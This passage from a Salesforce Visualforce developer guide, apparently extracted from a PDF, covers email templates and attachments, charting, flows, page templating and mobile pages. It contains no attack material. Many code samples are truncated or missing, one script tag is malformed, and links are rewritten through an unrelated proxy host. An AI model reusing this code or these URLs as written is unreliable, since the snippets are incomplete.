border-width: 5px;
border-spacing: 5px;
border-style: dashed;
border-color: #FF0000;
background-color: #FFFFFF;
}
td {
border-width: 1px;
padding: 4px;
border-style: solid;
border-color: #000000;
background-color: #FFEECC;
}
th {
color: #000000;
border-width: 1px ;
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
<body>
<p>Dear {!recipient.name},</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
183
Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
<apex:component access="global">
<style type="text/css">
body {font-family: Courier; size: 12pt;}
table {
border-width: 5px;
border-spacing: 5px;
border-style: dashed;
border-color: #FF0000;
background-color: #FFFFFF;
}
184
Integrating Email with Visualforce Adding Attachments
td {
border-width: 1px;
padding: 4px;
border-style: solid;
border-color: #000000;
background-color: #FFEECC;
}
th {
color: #000000;
border-width: 1px ;
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
</apex:component>
Then, in the Visualforce email template, you can reference just that component:
<messaging:htmlEmailBody>
<html>
<c:EmailStyle />
<body>
<p>Dear {!recipient.name},</p>
...
</body>
</html>
</messaging:htmlEmailBody>
Note: Any <apex:component> tags used within a Visualforce email template must have an access level of global.
Adding Attachments
You have the ability to add attachments to your Visualforce email templates. Each attachment must be encapsulated within
a single <messaging:attachment> component. Code within <messaging:attachment> can be a combination of
HTML and Visualforce tags.
The previous example shows how to create a Visualforce email template by iterating through some data and displaying it to
an email recipient. This example shows how to modify that markup to display the data as an attachment:
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="support@acme.com">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Attached is a list of cases related to {!relatedTo.name}.</p>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
185
Integrating Email with Visualforce Adding Attachments
</body>
</html>
</messaging:htmlEmailBody>
<messaging:attachment>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
Case Number: {!cx.CaseNumber}
Origin: {!cx.Origin}
Creator Email: {!cx.Contact.email}
Case Number: {!cx.Status}
</apex:repeat>
</messaging:attachment>
</messaging:emailTemplate>
This markup renders in an email as an attached data file, without any formatting. You can display the data in a more readable
format by using one of the following options:
<messaging:attachment filename="cases.csv">
<apex:repeat var="cx" value="{!relatedTo.Cases}">
{!cx.CaseNumber}
{!cx.Origin}
{!cx.Contact.email}
{!cx.Status}
</apex:repeat>
</messaging:attachment>
<messaging:attachment filename="cases.html">
<html>
<body>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
</body>
</html>
</messaging:attachment>
186
Integrating Email with Visualforce Adding Attachments
Although you can only define one filename for every <messaging:attachment> component, you can attach multiple files
to an email.
<apex:page renderas="pdf">
<html>
<head>
<style> body { font-family: Arial Unicode MS; } </style>
</head>
This page is rendered as a PDF
</html>
</apex:page>
• The maximum response size when creating a PDF must be below 15 MB, before being rendered as a PDF. This is the
standard limit for all Visualforce requests.
• The maximum file size for a generated PDF is 60 MB.
• The total size of all images included in a generated PDF is 30 MB.
• Note that the following components do not support double-byte fonts when rendered as a PDF:
◊ <apex:pageBlock>
187
Integrating Email with Visualforce Using Custom Controllers within Visualforce Email Templates
◊ <apex:sectionHeader>
These components are not recommended for use in pages rendered as a PDF.
For more information, see Best Practices for Rendering PDFs on page 253.
<messaging:attachment renderAs="PDF">
<html>
<link rel='stylesheet' type='text/css' href='{!$Resource.EMAILCSS}' />
<body>
...
</body>
</html>
</messaging:attachment>
Caution: Referencing static resources on a remote server can increase the time it takes to render a PDF attachment.
You can’t reference remote resources when creating PDF attachments in an Apex trigger; doing so will result in an
exception.
public findSmithAccounts() {
accounts = [select Name from Account where Name LIKE 'Smith_%'];
}
188
Integrating Email with Visualforce Using Custom Controllers within Visualforce Email Templates
Next, create a custom component named smithAccounts that uses this controller:
Tip: Remember that all custom components used in Visualforce email templates must have an access level of
global.
Finally, create a Visualforce email template that includes the smithAccounts component:
Notice that although the relatedToType attribute is required by the emailTemplate component, it does not have any
effect on this example. It has the value of "Opportunity" only to show that it can take an object value that is different than
the object used in the custom component.
189
Chapter 15
Visualforce Charting
Visualforce charting is a collection of components that provide a simple and intuitive way to create charts in your Visualforce
pages and custom components.
Note: Visualforce charting components are currently available through a pilot program. For information on enabling
this feature for your organization, contact salesforce.com. At this time it is not recommended that this feature be used
in production code or managed packages.
• Visualforce charts only render in browsers which support scalable vector graphics (SVG). For more information, see WC3
SVG Working Group.
• Visualforce charting uses JavaScript to draw the charts. These charts won't display in pages rendered as PDFs.
190
Visualforce Charting How Visualforce Charting Works
• Email clients do not generally support JavaScript execution in messages. Don't use Visualforce charting in email messages
or email templates.
• Visualforce charting sends errors and messages to the JavaScript console. You'll want to keep a JavaScript debugging tool,
such as Firebug, active during development.
See Also:
Visualforce Charting
1. Write an Apex method that queries for, calculates, and wraps your chart data to send to the browser.
2. Define your chart using the Visualforce charting components.
When the page containing the chart loads, the chart data is bound to a chart component, and the JavaScript that draws the
chart is generated. When the JavaScript executes, the chart is drawn in the browser.
The <apex:chart> component defines the chart container, and binds the component to the data source, the getPieData()
controller method. The <apex:pieSeries> describes the label and data fields to access in the returned data, to label and
size each data point.
191
Visualforce Charting How Visualforce Charting Works
// Wrapper class
public class PieWedgeData {
This controller is deliberately simple; you normally issue one or more SOQL queries to collect your data. These are the
important points illustrated by the example:
• The getPieData() method returns a List of simple objects, an inner class PieWedgeData used as a wrapper. Each
element in the list is used to create a data point.
• The PieWedgeData class is just a set of properties, and is essentially used as a name=value store.
• The chart series component <apex:pieSeries> defines which properties from the PieWedgeData class to use to
determine each point in the series. In this simple example there's no mystery, but in charts with multiple series and axes
this convention allows the efficient return of the entire data set in one List object.
192
Visualforce Charting How Visualforce Charting Works
<apex:page controller="OppsController">
<apex:chart data="{!Opportunities}" width="600" height="400">
<apex:axis type="Category" position="left" fields="Name" title="Opportunities"/>
<apex:axis type="Numeric" position="bottom" fields="Amount" title="Amount"/>
<apex:barSeries orientation="horizontal" axis="bottom"
xField="Name" yField="Amount"/>
</apex:chart>
<apex:dataTable value="{!Opportunities}" var="opp">
<apex:column headerValue="Opportunity" value="{!opp.name}"/>
<apex:column headerValue="Amount" value="{!opp.amount}"/>
</apex:dataTable>
</apex:page>
193
Visualforce Charting How Visualforce Charting Works
The JavaScript function must take a callback function as a parameter, and invoke the callback with the function's data result
object. The simplest working JavaScript function looks like this:
<apex:page>
<script>
function getRemoteData(callback) {
PieChartController.getRemotePieData(function(result, event) {
if(event.status && result && result.constructor === Array) {
callback(result);
}
});
}
</script>
To support this chart, add the following controller method to the PieChartController class defined in A Simple Charting
Example:
@RemoteAction
public static List<PieWedgeData> getRemotePieData() {
List<PieWedgeData> data = new List<PieWedgeData>();
data.add(new PieWedgeData('Jan', 30));
data.add(new PieWedgeData('Feb', 15));
data.add(new PieWedgeData('Mar', 10));
data.add(new PieWedgeData('Apr', 20));
data.add(new PieWedgeData('May', 20));
data.add(new PieWedgeData('Jun', 5));
return data;
}
See JavaScript Remoting for Apex Controllers on page 240 for more information about using JavaScript remoting in Visualforce.
Providing Chart Data via a JavaScript Array
You can use Visualforce charting with non-Salesforce data sources by building a JavaScript array, in your own JavaScript code
in your page, and providing the name of that array to <apex:chart>.
<apex:page>
<script>
// Build the chart data array in JavaScript
var dataArray = new Array();
dataArray.push({'data1':33,'data2':66,'data3':80,'name':'Jan'});
dataArray.push({'data1':33,'data2':66,'data3':80,'name':'Feb'});
// ...
</script>
When using this technique, if your data is coming from another source you may not need any server-side Apex code at all.
194
Visualforce Charting Building a Complex Chart with Visualforce Charting
Chart data provided by JavaScript methods should be a JavaScript array of arrays. See Providing Chart Data via a JavaScript
Array on page 194 for details.
See Also:
Building a Complex Chart with Visualforce Charting
// Wrapper class
public class Data {
public String name { get; set; }
public Integer data1 { get; set; }
public Integer data2 { get; set; }
public Integer data3 { get; set; }
public Data(String name, Integer data1, Integer data2, Integer data3) {
this.name = name;
this.data1 = data1;
this.data2 = data2;
this.data3 = data3;
195
Visualforce Charting Building a Complex Chart with Visualforce Charting
}
}
}
Note: The @RemoteAction method isn’t used in the chart examples in this topic, but it illustrates how you could
re-use your data generation method for both server-side and JavaScript remoting methods.
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
</apex:axis>
<apex:lineSeries axis="left" fill="true" xField="name" yField="data1"
markerType="cross" markerSize="4" markerFill="#FF0000"/>
</apex:chart>
</apex:page>
196
Visualforce Charting Building a Complex Chart with Visualforce Charting
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
</apex:axis>
<apex:lineSeries axis="left" fill="true" xField="name" yField="data1"
markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries axis="left" xField="name" yField="data2"
markerType="circle" markerSize="4" markerFill="#8E35EF"/>
</apex:chart>
</apex:page>
The important thing to note is how both data1 and data2 fields are bound to the vertical <apex:axis> by the fields
attribute of that component. This allows the charting engine to determine appropriate scale and tick marks for the axis.
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
197
Visualforce Charting Building a Complex Chart with Visualforce Charting
<apex:page controller="ChartController">
<apex:chart height="400" width="700" data="{!data}">
<apex:legend position="right"/>
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"
fill="true" markerType="cross" markerSize="4" markerFill="#FF0000"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"
198
Visualforce Charting Building a Complex Chart with Visualforce Charting
See Also:
How Visualforce Charting Works
199
Chapter 16
Rendering Flows with Visualforce
Visual Workflow allows administrators to set up collections of screens, known as flows, that step users through the process of
collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to
generate real-time quotes for a sales organization.
The standard user interface for running a flow can't be customized. Visualforce is the core technology that gives developers a
more powerful way of building applications and customizing the look and feel of applications. Visual Workflow can leverage
this technology to customize the user interface when running flows.
The following topics demonstrate how to embed and configure flows in a Visualforce page:
• Embedding Flows in Visualforce Pages
• Advanced Examples of Using <flow:interview>
• Configuring the finishLocation Attribute in a Flow
a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows.
b. Click the name of the flow you want to embed.
2. Define a new Visualforce page or open one that you want to edit.
3. Add the <flow:interview> component, somewhere between the <apex:page> tags.
4. Set the name attribute to the unique name of the flow. For example:
<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>
200
Rendering Flows with Visualforce Embedding Flows in Visualforce Pages
Note: If the flow is from a managed package, then the name attribute should be in this format:
namespace.flowuniquename.
5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it.
If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to
the Visualforce page can run the embedded flow.
If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link,
or button, users must not only have access to the page, but must also have the Force.com Flow User field enabled on
their user detail page.
<apex:page>
<flow:interview name="ModemTroubleShooting">
<apex:param name="vaCaseNumber" value="01212212"/>
</flow:interview>
</apex:page>
Note: You can only set variables at the beginning of an interview. The <apex:param> tags are evaluated only once
when the flow is started.
You can also leverage standard Visualforce controllers to set variables. For example, if the Visualforce page is using the
standardCase controller, you can enhance the page to pass in the data from the standard controller:
For more examples of setting finishLocation, see Configuring the finishLocation Attribute in a Flow on page 204.
201
Rendering Flows with Visualforce Advanced Examples of Using <flow:interview>
Note: If the flow is from a managed package, then the name attribute should be in this format:
namespace.flowuniquename.
// Need not instantiate explicitly the Flow object using the class constructor
public Flow.Interview.ModemTroubleShooting myflow {get;set;}
public String casePriority ;
public String getcasePriority() {
202
Rendering Flows with Visualforce Advanced Examples of Using <flow:interview>
If you're using a custom controller, you can also set the initial values of the variables at the beginning of the flow in the
constructor of the flow. Passing in variables using the constructor is optional and isn't necessary if you are using <apex:param>
tags to set the value. Here's an example of a custom controller that sets the values of flow variables in a constructor:
public ModemTroubleShootingCustomSetVariables() {
Map<String, Object> myMap = new Map<String, Object>();
myMap.put('vaCaseNumber','123456');
myflow = new Flow.Interview.ModemTroubleShooting(myMap);
}
The following table shows the differences in the naming of supported data types between the flow and Apex.
Flow Apex
Text String
Number Decimal
Currency Decimal
Date Date, DateTime
Boolean Boolean
As it's a good practice to write tests against your Apex code, the following is a trivial example of writing a test class for
ModemTroubleShootingCustomSetVariables:
Test.setCurrentPage(pageRef);
System.assertEquals(mytestController.getcaseNumber(), '01212212');
}
}
203
Rendering Flows with Visualforce Configuring the finishLocation Attribute in a Flow
Caution: If you don't set the reRender attribute, when you click a button to navigate to a different screen in a flow,
the entire Visualforce page refreshes, not just the <flow:interview> component.
Note: If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow.
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>
• Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page with
an ID of 001D000000IpE9X:
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/001D000000IpE9X')}"/>
</apex:page>
<apex:page>
<flow:interview name="flowname" finishLocation="{!$Page.pagename}"/>
</apex:page>
For more information about $Page, see Global Variables on page 446.
204
Rendering Flows with Visualforce Configuring the finishLocation Attribute in a Flow
<apex:page controller="myFlowController">
<h1>Congratulations!</h1> This is your new page.
<flow:interview name="flowname" finishLocation="{!pageA}"/>
</apex:page>
Note: You can't route users to a URL that is external to your Salesforce organization using just
finishLocation=”http://www.example.com”. If you want to route your users to an external URL upon clicking
Finish, use URLFOR or a controller to do so.
205
Chapter 17
Templating with Visualforce
Visualforce provides several strategies for reusing similar content across multiple Visualforce pages. The method you choose
depends on how flexible you need your reused template to be. The more flexible a templating method is, the more any
implementation of a template using that method can be modified. The following template methods are available, in order of
most to least flexible:
Defining Custom Components
Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program,
you can encapsulate a common design pattern in a custom component and then reuse that component several times in
one or more Visualforce pages. Defining custom components is the most flexible templating method because they can
contain any valid Visualforce tags and can be imported without restrictions into any Visualforce page. However custom
components should not be used to define reusable Visualforce pages. If you want to reuse the content of an entire Visualforce
page, choose one of the other two templating methods.
Templates made with <apex:insert> and <apex:composition> should only be used when you want to reference an
already existing Visualforce page. If you require only a set of components to be duplicated, use custom components.
206
Templating with Visualforce Defining Templates with <apex:composition>
First, create an empty page called myFormComposition that uses a controller called compositionExample:
<apex:page controller="compositionExample">
</apex:page>
After saving the page, a prompt appears that asks you to create compositionExample. Use the following code to define
that custom controller:
String name;
Integer age;
String meal;
String color;
207
Templating with Visualforce Defining Templates with <apex:composition>
<apex:page controller="compositionExample">
<apex:form >
<apex:outputLabel value="Enter your name: " for="nameField"/>
<apex:inputText id="nameField" value="{!nameField}"/>
<br />
<apex:insert name="age" />
<br />
<apex:insert name="meal" />
<br />
<p>That's everything, right?</p>
<apex:commandButton action="{!save}" value="Save" id="saveButton"/>
</apex:form>
</apex:page>
Notice the two <apex:insert> fields requiring the age and meal content. The markup for these fields is defined in whichever
page calls this composition template.
Next, create a page called myFullForm, which defines the <apex:insert> tags in myFormComposition:
<apex:page controller="compositionExample">
<apex:messages/>
<apex:composition template="myFormComposition">
<apex:define name="meal">
<apex:outputLabel value="Enter your favorite meal: " for="mealField"/>
<apex:inputText id="mealField" value="{!mealField}"/>
</apex:define>
<apex:define name="age">
<apex:outputLabel value="Enter your age: " for="ageField"/>
<apex:inputText id="ageField" value="{!ageField}"/>
</apex:define>
</apex:composition>
• When you save myFullForm, the previously defined <apex:inputText> tags and Save button appear.
• Since the composition page requires age and meal fields, myFullForm defines them as text input fields. The order in
which they appear on the page does not matter; myFormComposition specifies that the age field is always displayed
before the meal field.
• The name field is still imported, even without a matching <apex:define> field.
• The color field is disregarded, even though controller code exists for the field. This is because the composition template
does not require any field named color.
• The age and meal fields do not need to be text inputs. The components within an <apex:define> tag can be any valid
Visualforce tag.
208
Templating with Visualforce Defining Templates with <apex:composition>
To show how you can use any valid Visualforce in an <apex:define> tag, create a new Visualforce page called
myAgelessForm and use the following markup:
<apex:page controller="compositionExample">
<apex:messages/>
<apex:composition template="myFormComposition">
<apex:define name="meal">
<apex:outputLabel value="Enter your favorite meal: " for="mealField"/>
<apex:inputText id="mealField" value="{!mealField}"/>
</apex:define>
<apex:define name="age">
<p>You look great for your age!</p>
</apex:define>
</apex:composition>
Notice that the composition template only requires an <apex:define> tag to exist. In this example, age is defined as text.
Dynamic Templates
A dynamic template allows you to assign a template through a PageReference. The template name is assigned to a controller
method that returns a PageReference containing the template you want to use.
For example, create a page called myAppliedTemplate that defines the skeleton template:
<apex:page>
<apex:insert name="name" />
</apex:page>
Next, create a controller called dynamicComposition with a method that will return a reference to this page:
Last, create a page called myDynamicComposition that implements this controller and the dynamic template:
<apex:page controller="dynamicComposition">
<apex:composition template="{!myTemplate}">
<apex:define name="name">
Hello {!$User.FirstName}, you look quite well.
</apex:define>
</apex:composition>
</apex:page>
209
Templating with Visualforce Referencing an Existing Page with <apex:include>
For example, suppose you want to create a form that takes a user's name and displays it back to them. First, create a page called
formTemplate that represents a reusable form and uses a controller called templateExample:
<apex:page controller="templateExample">
</apex:page>
After you receive the prompt about templateExample not existing, use the following code to define that custom controller:
String name;
Boolean showGreeting = false;
<apex:page controller="templateExample">
<apex:form>
<apex:outputLabel value="Enter your name: " for="nameField"/>
<apex:inputText id="nameField" value="{!nameField}"/>
<apex:commandButton action="{!save}" value="Save" id="saveButton"/>
</apex:form>
</apex:page>
Note that nothing should happen if you click Save. This is expected behavior.
Next, create a page called displayName, which includes formTemplate:
<apex:page controller="templateExample">
<apex:include pageName="formTemplate"/>
<apex:actionSupport event="onClick"
action="{!save}"
210
Templating with Visualforce Referencing an Existing Page with <apex:include>
rerender="greeting"/>
<apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}"/>
</apex:page>
When you save this page, the entire formTemplate page is imported. When you enter a name and click Save the form passes
a true value to the showGreeting field, which then renders the <apex:outputText> and displays the user's name.
You can create another Visualforce page that uses formTemplate to display a different greeting. Create a page called
displayBoldName and use the following markup:
<apex:page controller="templateExample">
<style type="text/css">
.boldify { font-weight: bolder; }
</style>
<apex:include pageName="formTemplate"/>
<apex:actionSupport event="onClick"
action="{!save}"
rerender="greeting"/>
<apex:outputText id="greeting" rendered="{!showGreeting}"
styleClass="boldify"
value="I hope you are well, {!nameField}."/>
</apex:page>
Notice that although the displayed text changes, the templateExample logic remains the same.
211
Chapter 18
Developing for Mobile Devices
Developers can use Visualforce and Apex to write sophisticated and powerful applications that run natively on the Force.com
platform. To extend applications built on the Force.com platform to mobile devices, developers can use Visualforce Mobile.
Visualforce Mobile combines the speed and reliability of Salesforce Mobile, salesforce.com's native client application, with a
fully customizable, browser-based user interface.
Visualforce Mobile is a hybrid of client-side and on-demand programming that lets developers leverage the offline data access
offered by Salesforce Mobile along with the flexibility and rapid development offered by Visualforce and Apex.
Salesforce Mobile for BlackBerry and Salesforce Mobile for iPhone can render Visualforce pages and web pages directly within
the client application in an embedded browser. Visualforce Mobile pages can even execute JavaScript code that forces Salesforce
Mobile to synchronize data and close the embedded browser.
212
Developing for Mobile Devices What are the Capabilities and Limitations of the Mobile Application?
iPhone
Salesforce Mobile requires the latest iPhone operating system available on iTunes. The device should have at least 5 MB
of available memory before installing the mobile client application. The mobile client application is supported on these
devices:
• iPhone
• iPhone 3G
• iPhone 3GS
• iPod Touch
Note: Developers who do not own an iPhone or BlackBerry device can test their Visualforce Mobile pages using
simulators.
Related Lists
If administrators mobilize a related object—in other words, add a child data set to a parent data set—the object
automatically becomes a related list on the mobile device.
213
Developing for Mobile Devices When Should Visualforce Mobile Be Used?
Speed
Wireless data networks are still very slow. Client applications are highly responsive.
Visualforce Mobile provides a way to build custom interfaces and business logic for mobile devices, but developers should only
turn to Visualforce Mobile when their needs cannot be met using the capabilities of the native client application. For example,
developers might be able to replicate the same functionality in a Visualforce page by building custom objects, creating custom
fields, and writing Apex triggers that run server-side when a record is updated. Until the speed and reliability of wireless
networks improve, the best experience for mobile users is one where the client application performs the operations.
There are situations, however, where the native client application cannot satisfy a customer's requirements. Use Visualforce
Mobile to:
• Mobilize a standard Salesforce object that the client application does not support.
• Integrate with another Web API, such as Google Maps.
• Reproduce Salesforce functionality that is not available in the client application, such as responding to approval requests
or sending emails using an email template.
• Integrate with a peripheral device, such as Bluetooth or embedded GPS.
• Override the action of the standard buttons on record detail pages. When possible, write Apex triggers instead of overriding
buttons with Visualforce.
214
Developing for Mobile Devices Developing Pages for iPhone and BlackBerry
<apex:page showHeader="false">
Page Styles
The standard Salesforce stylesheets (CSS files) are too massive for the mobile browser. Not only will the Salesforce
stylesheets cause the page to load very slowly, but the stylesheets do not display properly in the BlackBerry browser.
Suppress the standard stylesheets in your Visualforce Mobile pages with the following attribute definition:
<apex:page standardStylesheets="false">
The best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page>
component.
<apex:page standardStylesheets="false">
<style type="text/css">
<!-- the styles -->
</style>
</apex:page>
To reuse styles between pages, create a separate Visualforce page that defines your styles. Then, use the <apex:include>
tag to incorporate the styles page. For example, suppose you define a page called myStyles:
<apex:page>
<style type="text/css">
<!-- the styles -->
</style>
</apex:page>
215
Developing for Mobile Devices iPhone Considerations
You would include these styles into another page like the following:
<apex:page standardStylesheets="false"/>
<apex:include pageName="myStyles" />
</apex:page>
It is possible to save a mobile-optimized stylesheet as a static resource, and then reference it in your page. However, the
stylesheet is paired with the Visualforce markup on the client-side to render the page, so you increase the page load time
by adding a stylesheet as a static resource.
Note: If you are building pages for the iPhone and want to mimic the standard iPhone UI, you can save time
and development effort by using iUI, a third-party library that provides an iPhone-like interface to Web
applications.
Lookups
The lookup field selector provided with <apex:inputField> doesn’t offer a good user experience on BlackBerry and
doesn’t work on iPhone. You can work around this issue by writing an Apex trigger that validates the entry in the lookup
field upon saving the record. You could also change the field type, if possible.
The following topics include additional information about developing pages for iPhone and BlackBerry:
• iPhone Considerations
• BlackBerry Considerations
• Developing Cross-Platform Compatible Pages
• Using the JavaScript Library
See Also:
Styling Visualforce Pages
Using Static Resources
iPhone Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. The iPhone embedded browser is the
same full-featured Safari browser used for the default Web browser. It has excellent JavaScript support and performs well.
When developing pages for the iPhone, these considerations apply:
Page Zoom
By default, the iPhone browser sets your page width to 980 pixels—a value chosen to maximize compatibility with a
broad range of websites. Use a <meta> tag to let the iPhone browser know how wide to display the initial page:
216
Developing for Mobile Devices iPhone Considerations
For iPhone-specific applications, you should set the page width to the width of the device. When providing multiple
properties for the viewport meta key, use a comma-delimited list of assignment statements. The following table describes
the viewport properties:
Property Description
width The width of the viewport in pixels. The default is 980.
The range is from 200 to 10,000. Use the device_width
value to set the page to the width of the device in pixels.
height The height of the viewport in pixels. The default is
calculated based on the value of the width property and the
aspect ratio of the device. The range is from 223 to 10,000
pixels. Use the device_height value to set the page to
the height of the device in pixels.
initial-scale The initial scale of the viewport as a multiplier. The default
is calculated to fit the web page in the visible area. The
range is determined by the minimum-scale and
maximum-scale properties. You can set only the initial
scale of the viewport, which is the scale of the viewport the
first time the web page is displayed. Thereafter, the user
can zoom in and out unless you set user-scalable to no.
Zooming by the user is also limited by the
minimum-scale and maximum-scale properties.
Screen Rotation
In the mobile application, rotating the screen will not cause the page to flip and re-size.
URL Targets
The embedded browser does not support the target="_blank" attribute. If you use it in your page, the URL target
doesn’t load.
File Access
The embedded browser does not natively offer access to the file system, camera, location, or other device data.
217
Developing for Mobile Devices BlackBerry Considerations
As a general rule for mobile development, you shouldn't use components that:
To check if your Visualforce Mobile page falls into one of these categories, you can view the HTML source of the page.
If you see a <script> tag that refers to JavaScript (.js) or a <link> tag that refers to a stylesheet (.css), you should
test that the page displays as expected.
BlackBerry Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. Research in Motion (RIM) upgraded
the embedded browser with the release of BlackBerry operating system version 4.3, but the embedded browser still has limited
JavaScript support. Although the BlackBerry Bold (version 4.6) and BlackBerry Storm (version 4.7) have more powerful
standard browsers, the embedded browser has not sufficiently improved for full Visualforce Mobile support.
When developing pages for BlackBerry smartphones, these considerations apply:
JavaScript Support
The embedded BlackBerry browser has very limited JavaScript support. Inline JavaScript events do not work at all. When
possible, avoid using JavaScript in Visualforce Mobile pages for BlackBerry.
For Visualforce Mobile pages that let users upload files, using the <apex:form> and <apex:inputFile> components
is the best choice. The two components function properly in this limited use case. For example, to create an upload form,
use the two tags in conjunction with Apex controller methods:
<apex:form>
<apex:inputFile value="{!attachment.body}"/>
<apex:commandButton action="{!save}"/>
</apex:form>
The implementation can benefit further from the use of transient variables. The transient keyword is used for data
that doesn’t need to be saved on a postback. In the previous example, the attachment itself should be non-transient, but
the attachment body can potentially be very large, and there's no reason to store the body in the view state.
The solution is to change the value of <apex:inputFile> to retrieve a Blob file type:
<apex:form>
<apex:inputFile value="{!theBlob}"/>
218
Developing for Mobile Devices Developing Cross-Platform Compatible Pages
<apex:commandButton action="{!save}"/>
</apex:form>
Then, in your Apex controller for this page, define theBlob as transient:
Finally, in the save method, define the attachment using the value of theBlob:
attachment.body = theBlob;
upsert attachment;
attachment.body = null.
The attachment body will get updated with the correct data, but the data will not be preserved. Set attachment.body
to null after save because the attachment itself is not transient.
• The <apex:facet> component is placed where it appears in the code. Be sure to place the <apex:facet> tag
where it should display on the page; for example, place the <apex:facet name="footer"> component at the
bottom of a section.
• The standard Salesforce styles provided with the <apex:sectionHeader> and <apex:pageBlock> components
are mangled or ignored. Use simpler tags, or write pure HTML.
Page Styles
Be sure to follow the best practices for styling your Visualforce Mobile pages on page 215. Additionally, be aware that
the BlackBerry embedded browser ignores some common CSS properties, such as margin-left.
Line Breaks
The <br/> tag is ignored unless there is something on the line, such as a non-breaking space.
Navigation
The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page
is a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next
page. Additionally, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile
Visualforce pages.
<apex:page>
<language="javascript" type="text/javascript">
219
Developing for Mobile Devices Developing Cross-Platform Compatible Pages
if(!window.blackberry){
window.location.href='{!$Page.iPhoneOptimizedVersion}';
}
</script>
</apex:page>
This approach offers the best user experience for all devices with the fewest long-term development headaches. However,
it does require you to maintain two separate applications—one for each device type.
Conditional Code
Build device-conditional code and styles. The user agent string, contained in the header passed by the browser to the
server, identifies the connecting device as BlackBerry or iPhone. The code in your Visualforce Mobile page evaluates
the user agent string and displays the content appropriate for the connecting device. The benefit of Visualforce is that
the markup is interpreted server-side, and the client only receives the markup it can render based on the assessment of
the conditional statements. Building with conditional code is the most sophisticated approach, but not necessarily the
best long-term solution due to the added code complexity.
Note: Dynamic References to Static Resources illustrates an alternative approach to dynamically displaying
different graphics based on characteristics of the request.
For example, the following markup creates a custom component named mobileSample that simply displays an image
stored within the mobileImages static resource. However, it determines which image to display at runtime based on
the browser's reported user agent value as inspected in the component’s controller.
<apex:component controller="mobileSampleCon">
<apex:image value="{!URLFOR($Resource.mobileImages, deviceType + '.jpg')}"/>
</apex:component>
public MobileSampleCon() {
String userAgent = ApexPages.currentPage().getHeaders().get('USER-AGENT');
if(userAgent.contains('iPhone')) {
deviceType = 'iPhone';
}
else if(userAgent.contains('BlackBerry')) {
deviceType = 'BlackBerry';
}
}
}
220
Developing for Mobile Devices Developing Cross-Platform Compatible Pages
The following example loads different stylesheets based on the connecting application. First, you can create the page
that you want displayed across multiple devices:
The Global.zip and SendEmail.zip files are static resources that contain the referenced CSS files. For the
conditionalStylesheets custom component, you can define multiple CSS declarations that are rendered based
on the browser type:
</apex:component>
Finally, the browserName value is determined in an Apex controller in a manner similar to the preceding example:
Note: Salesforce Mobile appends the text "Salesforce" to the end of the string for the embedded BlackBerry
browser. Additionally, the user can change the user agent string on some BlackBerry smartphones.
221
